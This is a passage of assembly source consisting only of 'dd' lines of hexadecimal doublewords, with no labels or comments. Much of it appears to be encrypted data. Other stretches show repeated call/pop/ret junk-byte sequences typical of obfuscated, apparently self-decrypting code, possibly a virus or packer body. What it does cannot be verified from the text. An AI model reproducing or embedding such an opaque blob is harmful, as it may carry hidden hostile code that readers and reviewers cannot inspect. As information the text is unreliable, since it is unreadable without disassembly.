		dd 0D67423B4h, 0C85D6434h, 0CF5D0DD9h, 24022E31h, 0D721876Eh
		dd 0DD198F35h, 0FC5D1B35h, 0BD0A4931h, 38B4BD93h, 8D5D0E31h
		dd 3F46CE04h, 6CA4E843h, 1A7237B4h, 0A85D6434h,	0FC5D0DD9h
		dd 0BD042E31h, 1B118768h, 0BB198F35h, 0CF5D1935h, 240C4F31h
		dd 95DAC677h, 60EB157h,	6DD00551h, 0F558E727h, 0A2D66FC2h
		dd 9AB428C0h, 0D2C08751h, 5258E701h, 991E6F8Eh,	0FAB55F31h
		dd 0DC5D0E31h, 0F704CD68h, 0BE592A7Dh, 83592A75h, 8E5D0E31h
		dd 0ABECCD60h, 18902CB9h, 9FDE45ADh, 0E7D6C6BAh, 960A0E5Bh
		dd 3F5D0E32h, 0C09E5111h, 0CB7972B8h, 0E3794AB0h, 0F35D0E24h
		dd 939E5976h, 0E7D6FB91h, 63A09BB8h, 24D60BD8h,	770D0E5Bh
		dd 0CF5D0E32h, 0BF9E5611h, 0F7794AB8h, 0FD794AB0h, 0FC5D0E26h
		dd 0D99E5E71h, 593C1B90h, 115BF8B0h, 4AD4D602h,	0E2B4000Ch
		dd 0FD3C93B8h, 0F9370BD8h, 0FC5EE667h, 207D0E31h, 4BD450F2h
		dd 0DBDC0A15h, 0CF410A15h, 0B11B0E31h, 2B3A90F2h, 196702E5h
		dd 25DCA5D3h, 4E701842h, 31B88BF7h, 0F51A0BD8h,	0CCB55C31h
		dd 0C75D0E31h, 7A07CD6Bh, 78592A65h, 0E5592A75h, 3C5D0E31h
		dd 663ACD63h, 21272380h, 9D27258Fh, 0E759E628h,	2EF40E31h
		dd 9F0DB9EFh, 779E598Eh, 0CF592A75h, 855D8590h,	0EB5996B3h
		dd 0CB794AB8h, 183BB057h, 0F6DD0169h, 9F5D0E31h, 3CD1C4B0h
		dd 60A0BBCEh, 3F370BD8h, 9F5EE663h, 957D0E31h, 0B3D454F2h
		dd 0B7DC0A15h, 0F9490A15h, 0AE1F0E31h, 0FBD06DF2h, 3AB1745Eh
		dd 60A1D8B1h, 985D64E1h, 0E75D0DD9h, 30022E31h,	0DD21876Eh
		dd 0D8198F35h, 7E5D1535h, 0FC0A4931h, 745DD165h, 328F1A70h
		dd 0E950BBB8h, 22D60BD8h, 0D0A48BB8h, 69D60BD8h, 7BB410F0h
		dd 3F4DE771h, 6050E31h,	7B6AB1C4h, 32B8038Fh, 1C863136h
		dd 4652F8DAh, 965D85F9h, 7DB55B31h, 1F5D0E31h, 1600CD6Ch
		dd 4E592A5Dh, 0F0592A75h, 0B65D0E31h, 0D94CD64h, 0F33DE442h
		dd 0F53DDC86h, 0D65BFBACh, 3C7DB734h, 0AE3C5DD0h, 0E7370EBAh
		dd 0F35EE662h, 0A27D0E31h, 0A0D455F2h, 3ADC0A15h, 3F400A15h
		dd 0CC1E0E31h, 9E5F87F2h, 348479FAh, 78B19FB3h,	1052FB8Ch
		dd 39D88734h, 7158E710h, 3F5D02B3h, 99DA0131h, 445D0E31h
		dd 0E7333BCh, 98B48E34h, 0F95DFBD8h, 0FC49E731h, 0FA6A0E31h
		dd 0AAE5C43Dh, 40BE05C2h, 0C2271CA8h, 95D4EB58h, 76D01D54h
		dd 0FCB1B4D9h, 140F0E5Bh, 7E5D0E32h, 659E5411h,	9B795AB8h
		dd 0CB794AB0h, 0E75D0E27h, 0DE9E5C73h, 46E72248h, 6C71BBE0h
		dd 180DC4BAh, 5FCDDEBAh, 0BC408338h, 303C0BD8h,	0E766FA4h
		dd 0A35D6434h, 0F95D0DD9h, 3F052E31h, 5A198769h, 1B198F35h
		dd 9F5D1235h, 0C0D4E31h, 241BCA49h, 207BB7EEh, 17C08390h
		dd 7558E28Bh, 974DDFBCh, 5F0D9D34h, 9D95B157h, 6DC9D50h
		dd 0A4C04E43h, 0F355863Eh
		dd 703D0E31h, 1545178Ch, 180D6F34h, 0B62E258Eh,	42E72A35h
		dd 0C054F906h, 0E75D08B0h, 0AC848F31h, 6533C0Bh, 156FCBA4h
		dd 2C5D6434h, 3F5D0DD9h, 5C072E31h, 0EB09876Bh,	0C3198F35h
		dd 0F35D1535h, 3A0F4C31h, 0DE2E2267h, 2DD99227h, 0B68AB13Eh
		dd 767423B4h, 51ECB734h, 629B0CFEh, 0F6B400D4h,	8CE82762h
		dd 1458E72Ch, 7E5D0E35h, 95DA8A4Eh, 14AD8561h, 0A9592A75h
		dd 6C221B8Bh, 9EE26831h, 0DD1987A8h, 0F0B56E35h, 0BE5D0E31h
		dd 6ECBDD1Ch, 0B2B78146h, 0C0457514h, 0E75D0EBFh, 0A90B5131h
		dd 0F9375650h, 0FC5EE666h, 217D0E31h, 43D451F2h, 0DBDC0A15h
		dd 0CF4A0A15h, 0B01A0E31h, 0D13161F2h, 0B0E085B8h, 358E71Fh
		dd 9743F384h, 0E9D66E34h, 9F5B8C3Eh, 49520E31h,	0E75D0E31h
		dd 9CD88350h, 9358E24Bh, 0FFB55C31h, 5E5D0E31h,	0B607CD6Bh
		dd 1E592A65h, 0D9592A75h, 0A55D0E31h, 120DCD63h, 938DF160h
		dd 0FFB55B31h, 5E5D0E31h, 0B600CD6Ch, 1E592A5Dh, 0D8592A75h
		dd 0A25D0E31h, 32A5CD64h, 733D8F05h, 0FC49E6ECh, 0B46C0E31h
		dd 3AE5549Ah, 0DB33B27Dh, 0C549F783h, 0A53FD8FBh, 92044AD2h
		dd 0F959863Eh, 463B0E31h, 0FBD4814Ah, 3AB40E9Ch, 876493B8h
		dd 4A9B0BD8h, 0E2B400D4h, 2AC08776h, 9158E72Fh,	0C38252Bh
		dd 4ADC6484h, 28638415h, 56E08760h, 3058E71Ch, 0E43F384h
		dd 0A65D6434h, 0F95D0DD9h, 3F002E31h, 5A31876Ch, 1B198F35h
		dd 9F5D1B35h, 0C084B31h, 62D0C794h, 0F6B1745Eh,	110B0E5Bh
		dd 0FC5D0E32h, 209E5011h, 3B797AB8h, 9B794AB0h,	0CF5D0E2Dh
		dd 7F9E5877h, 5A4B87D0h, 0DDBA40h, 0FC37DECEh, 7E5EE662h
		dd 647D0E31h, 0C3D455F2h, 8BDC0A15h, 0E7470A15h, 0A01E0E31h
		dd 0A5EC6F2h, 0B36E40A8h, 686493B8h, 0BAD40BD8h, 9AB4257Ch
		dd 270A0E5Bh, 0E75D0E32h, 0AC9E5111h, 0FD7972B8h, 0F8794AB0h
		dd 7E5D0E25h, 4E9E5976h, 9CDCB3B8h, 4A9B0BD8h, 0E2B400D4h
		dd 0A15D6462h, 0F95D0DD9h, 3F072E31h, 5A09876Bh, 1B198F35h
		dd 9F5D1635h, 0C0F4C31h, 0E087D51Dh, 0E4A0660Bh, 0FEB514C0h
		dd 545D0E31h, 0FA9F2906h, 0D60FA998h, 9F5D0E38h, 0CD0AC799h
		dd 3EE4762Eh, 720754CCh, 0BECE2A35h, 0FC377079h, 7E5EE664h
		dd 627D0E31h, 0F3D453F2h, 8BDC0A15h, 0E7410A15h, 0A6180E31h
		dd 4191E1F2h, 84613906h, 0A9E3529Dh, 0C01132D1h, 7643F384h
		dd 0DFD30134h, 0E5D0E31h, 0F35D0E3Ah, 8B98D205h, 5B5D258h
		dd 0F31C6F33h, 0D32761B4h, 9F50E734h, 23050E31h, 0D5C8AF16h
		dd 63DFAE43h, 9FE5786Ch, 2CA2F5BAh, 680CBB12h, 0BAD40BD8h
		dd 9AB405F4h, 27080E5Bh, 0E75D0E32h, 0AE9E5311h, 0FD7962B8h
		dd 0F8794AB0h, 7E5D0E28h, 449E5B74h, 0CF881A23h, 0BB38E1Fh
		dd 0E9B88BF7h, 1A0A0BD8h, 0F95D0E34h, 972A1383h, 21546679h
		dd 803BFE85h, 0ABDC8DFEh, 7F500115h, 0B25D6451h, 0F35D0DD9h
		dd 3A002E31h, 0D831876Ch, 5A198F35h, 3F5D1835h,	5C084B31h
		dd 30468D00h, 0E43F384h, 0A15D6434h, 0F95D0DD9h, 3F072E31h
		dd 5A09876Bh, 1B198F35h, 9F5D1435h, 0C0F4C31h, 5456AD8Fh
		dd 9531C4F9h, 2BD8F8B0h, 79D0F4BAh, 7BB1745Eh, 0F6E82763h
		dd 0C158E73Eh, 360DDECEh, 2ED8876Fh, 9958E736h,	0FAB55F31h
		dd 0DC5D0E31h, 0F704CD68h, 0BE592A7Dh, 85592A75h, 8E5D0E31h
		dd 9FC6CD60h, 5D480234h, 14C0872Bh, 3A58E717h, 9753EBB4h
		dd 0F6DD4D34h, 48E20192h, 124A459h, 0E757E695h,	0B1850E31h
		dd 0A77D6E80h, 6940964Fh, 7E45883Eh, 2CB40E31h,	605D0E31h
		dd 0CD349EBFh, 93D45140h, 31C58351h, 6481E20Eh,	7D048A73h
		dd 88232A35h, 35B419F0h, 0CF5D0E31h, 3023219Fh,	0E132D90Fh
		dd 0EE8F1DCh, 7958E72Fh, 79D052E7h, 7BB1745Eh, 0D70E0E5Bh
		dd 9F5D0E32h, 949E5511h, 0E37952B8h, 0F7794AB0h, 0F95D0E26h
		dd 5D9E5D72h, 96B68DF0h, 3F5D0E23h, 236FE9F0h, 0DF1137A5h
		dd 0C15606C5h, 0A0DD00BCh, 74D6F97Bh, 0F9B43C58h, 148DF168h
		dd 3CB55F31h, 0BF5D0E31h, 4604CD68h, 66592A7Dh,	0EF592A75h
		dd 0B85D0E31h, 6311CD60h, 4D374C22h, 30D3A39Ah,	6FD6D886h
		dd 0EEE48BB8h, 0E7370BD8h, 0F35EE662h, 0A27D0E31h, 0A0D455F2h
		dd 3ADC0A15h, 3F410A15h, 0CC1E0E31h, 0FE68A3F2h, 0C05A0331h
		dd 0CBE859A3h, 43838BBCh, 0FC370BDDh, 7E5EE660h, 667D0E31h
		dd 0D3D457F2h, 8BDC0A15h, 0E7450A15h, 0A21C0E31h, 274BEAF2h
		dd 41546E1Bh, 7BB40BB8h, 0B68A8561h, 0AA22A35h,	0CAB42550h
		dd 0CEA2B93Eh, 1A43D7B4h, 9F858534h, 5346E0B0h,	0C48F8BBCh
		dd 3F370BDDh, 9F5EE666h, 907D0E31h, 9BD451F2h, 0B7DC0A15h
		dd 0F9470A15h, 0AB1A0E31h, 0A3AAA6F2h, 526C16A5h, 0B5A8BB30h
		dd 9FCD0BD8h, 0E757E663h, 0E2920E31h, 0FC239BF4h, 329B56C3h
		dd 71026F51h, 3F5BE600h, 50470E31h, 15398C5Dh, 0BD026F51h
		dd 0A10D5E69h, 0F60F5E51h, 9D055400h, 26073F3Eh, 6C5D64A1h
		dd 9F5D0DD9h, 0C062E31h, 0C301876Ah, 0D7198F35h, 0F95D1235h
		dd 3F0E4D31h, 97161C01h, 3A01B044h, 0FF0F9D09h,	0CF5D1CD9h
		dd 0E4B24D31h, 0A6BD8DB9h, 0EBDDC972h, 0F02443CAh, 25790018h
		dd 3F5D893Eh, 0C53C0E31h, 1D65D61h, 0E7379D68h,	0F35EE666h
		dd 0A67D0E31h, 80D451F2h, 3ADC0A15h, 3F450A15h,	0C81A0E31h
		dd 0E86AA6F2h, 18A48AF3h, 1A6FCBA4h, 0F958E734h, 47CD0E31h
		dd 0F7659393h, 0D656E3B4h, 0C85D6434h, 0CF5D0DD9h, 24022E31h
		dd 0D721876Eh, 0DD198F35h, 0FC5D1235h, 0BD0A4931h, 0E7DDC3F8h
		dd 0DFD6ED26h, 1BB48E7Eh, 0C3608BF6h, 0F3520BD8h, 0F9370E31h
		dd 0FC5EE663h, 247D0E31h, 6BD454F2h, 0DBDC0A15h, 0CF410A15h
		dd 0B51F0E31h, 6E1911F2h, 0D1B8804Bh, 423B978Fh, 0EBA2498Fh
		dd 3AB405DCh, 770C0E5Bh, 0CF5D0E32h, 0BE9E5711h, 0F77942B8h
		dd 0FD794AB0h, 0FC5D0E28h, 0A09E5F70h, 0D6EA8D9Ch, 6DDD6E08h
		dd 96C08731h, 8658E703h, 0F4588BB8h, 0F9370BD8h, 0FC5EE661h
		dd 267D0E31h, 7BD456F2h, 0DBDC0A15h, 0CF410A15h, 0B71D0E31h
		dd 7C3868F2h, 0E4A96D59h, 79D6D7E8h, 7BB40B24h,	0F07A93BCh
		dd 0DCD40BDDh, 32E08330h, 6A58E731h, 1F920F84h,	0F96EB734h
		dd 58AE0E31h, 7EE53DDAh, 345D0E31h, 5D5E7AF1h, 8BD60E29h
		dd 0F0E0215h, 0F35D0E31h, 0EE9E8F6Ah, 755D0E31h, 0F74D2A6Dh
		dd 64492A75h, 0FD3989h,	44BDF131h, 18592A75h, 0A65D64D1h
		dd 0F95D0DD9h, 3F002E31h, 5A31876Ch, 1B198F35h,	9F5D1835h
		dd 0C084B31h, 0E99BE5Fh, 0F35D0E34h, 2ECCA141h,	0AB5D6499h
		dd 7E5D0DD9h, 0FC022E31h, 0BB21876Eh, 0EB198F35h, 0E75D1535h
		dd 300A4931h, 4B853B8Bh, 83544414h, 730083B8h, 553C0BD8h
		dd 9CB55C31h, 0EF5D0E31h, 6E07CD6Bh, 72592A65h,	0E3592A75h
		dd 0BE5D0E31h, 1812CD63h, 53DA10D1h, 9BDC01CBh,	0A95D0E31h
		dd 6A3DDC8Bh, 1FE7DC8Ch, 37D08334h, 4458E2FEh, 0E67BA504h
		dd 33948B02h, 50760BD8h, 515FE7F0h, 0D9A95D64h,	317E5D0Dh
		dd 6CFC002Eh, 35BB3187h, 35EB198Fh, 83E75D18h, 0A4F305E9h
		dd 6AD98Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0AF3C5CC3h, 0BB7AD82Dh, 0BD01600Ch, 5E92E29h
		dd 519B58Bh, 0E96105E9h, 56h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 88C35242h, 0E9176445h, 0Eh
		dd 59367427h, 95A8252h,	0D91F29EFh, 6A61FD2Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0E0A0C355h, 0F8DA91C8h, 0C08BF5C3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h, 0DE9F9h
		dd 28070000h, 40023EB0h, 0E3A7E75Ch, 83A1B51Bh,	0E9164DBDh
		dd 9750005h, 1121BD83h,	740005E9h, 8B535019h, 4B9B8C0h
		dd 85890000h, 5E905ADh,	0B92B9D8Dh, 0D3FF05EBh,	0BD83585Bh
		dd 5E91121h, 50177400h,	4B9B853h, 85890000h, 5E905ADh
		dd 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6064F6C3h
		dd 11E8h, 0FE9AB100h, 26F83472h, 39B8B6Ch, 5A44D694h, 0DF8B35FBh
		dd 9333BB5Ah, 0E9617EEBh, 0Ah, 5EA3A396h, 0B286DC5Fh, 0B260F333h
		dd 0C08B613Fh, 0C18B40FCh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0C4C35646h, 4EBF87Dh,	0
		dd 0E8B0Fh, 7E80000h, 0A5000000h, 0E57FE2ECh, 5EF5534Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FAC35040h
		dd 95895132h, 5E91DF5h,	21E5858Dh, 0BD8905E9h, 5E90341h
		dd 0C3BF6690h, 0BE850EBh, 65000000h, 4E2855EFh,	257249CCh
		dd 6660910Ah, 664494BFh, 61290EB9h, 0DE81905Eh,	27B971EAh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 487C0EC3h, 850F605Ah, 2, 6A615F53h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 575AF808h, 0C3790A1Dh, 10FDB589h, 858D05E9h,	5ECD32Dh
		dd 6005C083h, 8F2D06BEh, 6890F56h, 0F000000h, 88h, 0E8906100h
		dd 8, 986F29DFh, 7FD7CE34h, 0CF1C36BFh,	60505E50h, 14B5BCB9h
		dd 0BE525070h, 3C10E2B3h, 5A57310Fh, 9061585Ah,	66F9B70Fh
		dd 0CB3C681h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD8B2FC3h, 5E92D8Dh, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 315340C3h, 0E90F019Dh, 0A195FF05h, 8B05E90Ah, 0BF9D8DF7h
		dd 6A05ECADh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 39EFC350h, 1770A865h, 2F3DBD8Bh
		dd 0D3FF05E9h, 7BDBD01h, 85FF05E9h, 5E90689h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 18C35747h, 66F7E7ECh
		dd 0CE9F18Bh, 0E8000007h, 0
		dd 37ED815Dh, 6A05ECD3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 106AC355h, 0C5E3B942h
		dd 50BF851Fh, 812E0EEAh, 0E9243DBDh, 7D005h, 64860F00h
		dd 8B000001h, 0E9320DBDh, 419D8B05h, 8905E90Eh,	0E92D718Dh
		dd 0E38105h, 6A000001h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0BF71C353h,	0FABF66D3h
		dd 29BF662Ch, 0FDB0B9Fh, 0C085h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D333920Bh
		dd 1B52885Ch, 6BBD837Ah, 5ECD1h, 4C840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B4378C3h, 0E90EA9B5h, 73E905h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DD9BADC3h
		dd 8C7BA9D0h, 85C7F28Bh, 5ECD16Bh, 1, 0D1BD8B53h, 5E05E917h
		dd 840Fh, 32E90000h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 4D6FC351h, 29CC5B25h
		dd 0E90EF98Dh, 6B85C705h, 5ECD1h, 8B000000h, 419D8DFEh
		dd 6A05E90Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0FD0C350h, 66BFAAFCh, 8115CE92h
		dd 0FFFEFF23h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0B90A5D3Ch, 660CD1DBh
		dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 713E91C3h, 8589E4A3h, 5E91DCDh, 2A61B58Bh
		dd 816605E9h, 0F6EAF0F7h, 840F04C3h, 0B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E7C35343h, 12EA722Ch
		dd 14E9ADh, 0ACB30000h,	0E86F3909h, 3ADC5312h, 215D1D50h
		dd 6503D21h, 665721B8h,	5FD940BEh, 276D9531h, 95FF05E9h
		dd 5E90BEDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	12C35242h, 9D89AA4Dh, 5E92E7Dh,	0FE890h, 87710000h
		dd 0C6404C89h, 0B4462FE6h, 62056E3Fh, 8B6650CFh, 505E5FF1h
		dd 0ADBBBF66h, 53006A90h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 29D1842Ah, 0E919C1B5h
		dd 34CE905h, 0B00000h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 28C35040h, 52204444h,	8BC60923h, 0E918BDB5h
		dd 6070E605h, 71E461F9h, 6FA2C781h, 81666AE5h, 0FBF82C6h
		dd 6BAD8B6h, 66000000h,	0CF81F78Bh, 6594DA43h, 8589C38Bh
		dd 5E91DE9h, 6604E8C1h,	663625BEh, 0BD8BE2F7h, 5E9233Dh
		dd 0BD89D82Bh, 5E92B05h, 8E0F5250h, 6, 8C0Fh, 895F0000h
		dd 8152241Ch, 0DAB80EC7h, 0B5FF5E28h, 5E9243Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0A7C35646h, 89B4849Fh
		dd 0E931AD9Dh, 9595FF05h, 0B005E91Eh, 0CDABBF00h, 70E6565Ah
		dd 6EC78166h, 971E4F1h,	0E917858Dh, 6870F05h, 8B000000h
		dd 0E907C5B5h, 0F613C05h, 26983h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0EC5B0511h
		dd 2E12E538h, 0FF88B66h, 0AE8D8B6h, 0E5000000h,	0A4F262Dh
		dd 7B884B33h, 0D68ABF5Dh, 0BA5E7490h, 6, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0E0C35242h, 6AC38Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F6C5E8C3h, 0BB374CC6h, 0CE8h, 256F0C00h, 7111E325h
		dd 0F10CA10Ch, 61605393h, 95895E5Fh, 5E92AD5h, 21E1B58Bh
		dd 0E8C105E9h, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 858960F9h, 5E901E1h, 1C99531h
		dd 666105E9h, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0C681E9C3h, 1DE5EFFh, 6AD82Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0AFDBFFC3h, 664B6F92h, 810FFA8Bh, 0
		dd 619D8958h, 2B05E918h, 37880FD8h, 60000001h, 1F55BD29h
		dd 8D2B05E9h, 5E931EDh,	7B961h,	0B5010000h, 5E901C9h, 8100C183h
		dd 78117EF6h, 0FD93B3Eh, 10D86h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0F5FCB0B6h
		dd 0D98C66C4h, 2289B589h, 0C1F605E9h, 0B7840F04h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0F7A7C357h, 0BD8B5962h, 5E92BF9h,	0BED95FFh
		dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0FADD15C3h, 6820FBDh, 89000000h, 0E91F718Dh
		dd 6A5B05h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 581497C3h, 5AA2A648h, 4DDB531h, 0E78105E9h
		dd 0A869C5Dh, 8960C32Bh, 0E927D59Dh, 68D0F05h, 33000000h
		dd 0E90B6595h, 343D6105h, 0F000008h, 1186h, 30E900h, 0E9530000h
		dd 5, 8A204CE9h, 0C08B5E5Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0F9C35545h,	2BBDB589h, 0C38B05E9h
		dd 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 4EA91DC3h, 0B9E55903h, 79185C7h, 0A9F305E9h
		dd 0BD8914ADh, 5E92DFDh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 6212D1C3h, 0A73FC3E6h
		dd 0BD8B578Bh, 5E90555h, 3DBD815Eh, 0D005E924h,	0F000007h
		dd 5285h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FFB70FC7h, 243D85FFh, 6A05E9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 872762C3h, 5DF8D12Fh, 0A1BE66AEh, 0B99589EAh, 0FF05E901h
		dd 0E9243DB5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0FF4FA703h, 0E91E9595h
		dd 0FEBF0F05h, 5678B890h, 9D8D1234h, 5ECDA10h, 0FFF912E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B5BA0A1h, 0DE8166C1h, 4EB12C4h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 55C35242h
		dd 0CAD91C5h, 8D5FF556h, 0E921E585h, 7DBD8905h,	5005E90Ch
		dd 0C04F5CBEh, 2404890Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 35C35747h, 0AD19828Bh, 0C37E2B44h, 0F8006AD7h
		dd 0BD0B006Ah, 5E91F4Dh, 9E8h, 2A2DE100h, 11B67F1Dh, 0BD0BDC0Eh
		dd 5E900F9h, 0E3858D5Eh, 0E805ECDBh, 12h, 0A080C5BAh, 810E9CC0h
		dd 95A09BCAh, 8608892Bh, 0BE90756h, 15000000h, 219BD1D0h
		dd 0A33F5F77h, 835F3FDAh, 0D68105C0h, 6E0895B6h, 505E5290h
		dd 9CBF6650h, 6A905F2Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0BB3EC351h,	639E8680h
		dd 6AF18B66h, 8B006A00h, 0A195FFFEh, 6A05E90Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0BF4FC357h, 9D8D5461h, 5ECADBFh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 52C35545h, 0FF2BF0Fh, 0C82h
		dd 68F0F00h, 89000000h,	0E924E1B5h, 6AD3FF05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0FF95C357h, 0E9068985h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 424665B7h
		dd 4761105Fh, 68A0Fh, 95010000h, 5E9060Dh, 0CB3E9h, 0E800h
		dd 815D0000h, 0ECDBEDEDh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A02B465Ch
		dd 18D50C45h, 4647E681h, 0BD817827h, 5E9243Dh, 7D0h, 10F860Fh
		dd 0D2BE0000h, 8B635EE9h, 0E926BD9Dh, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 1860FE4h, 0FC000000h, 0DAD68151h, 5E203517h,	100E381h
		dd 0BD8B0000h, 5E90789h, 850FDB0Bh, 0A1h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 50C35646h, 8307194Ch
		dd 0ECDA47BDh, 840F0005h, 3Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 6BC35343h, 8C3FA23Dh, 18E7B741h
		dd 3091BD8Bh, 8D8905E9h, 5E900F9h, 50E9h, 11B58900h, 0C705E92Eh
		dd 0ECDA4785h, 105h, 0F2B70F00h, 38E9h,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 6E93465h, 0D6000000h, 8DAB538Fh, 4785C741h, 5ECDAh
		dd 89000000h, 0E91965B5h, 0BD9D8D05h, 8B05E926h, 0FF2381F0h
		dd 8BFFFFFEh, 0E926B9BDh, 0DB8C6605h, 11E9h, 88280F00h
		dd 6358150Eh, 60FC4D24h, 0ED165585h, 0C3F6D9E3h, 4D840F04h
		dd 89000000h, 0E92881B5h, 0ED95FF05h, 9005E90Bh, 850Fh
		dd 90500000h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0FDC35242h, 0FD4533ACh,	10E8h, 72E25100h, 0EB4883F0h
		dd 0CFB3A0C9h, 0D50F1FEFh, 5EFA8B99h, 3D6E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1DE3D1C8h, 3515DD7Eh, 0F5B58B29h, 0B005E917h, 70E6FC00h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A8C35040h
		dd 0B5339151h, 5E90D21h, 8D8971E4h, 5E90579h, 6AD8B60Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F20C355h, 485h, 0F28B5300h, 6BA5Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 892F1FC3h, 0E925B595h, 6AC38B05h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 242BC357h
		dd 0DBBF6655h, 0FCBF665Dh, 4E8C1D8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4DC35747h, 0EA94D76Dh, 66FE7CE4h
		dd 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B509BBC3h, 5E91CA1h, 0BF93D82Bh,	1188302Ah
		dd 93FA8B50h, 243DB5FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 1ED797C3h, 0A485B9CCh
		dd 0F5633BAEh, 1E9595FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E46218C3h, 0F8B25D74h
		dd 66F42F84h, 0B0D146BEh, 9BF5300h, 5F13955Fh, 6A70E6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
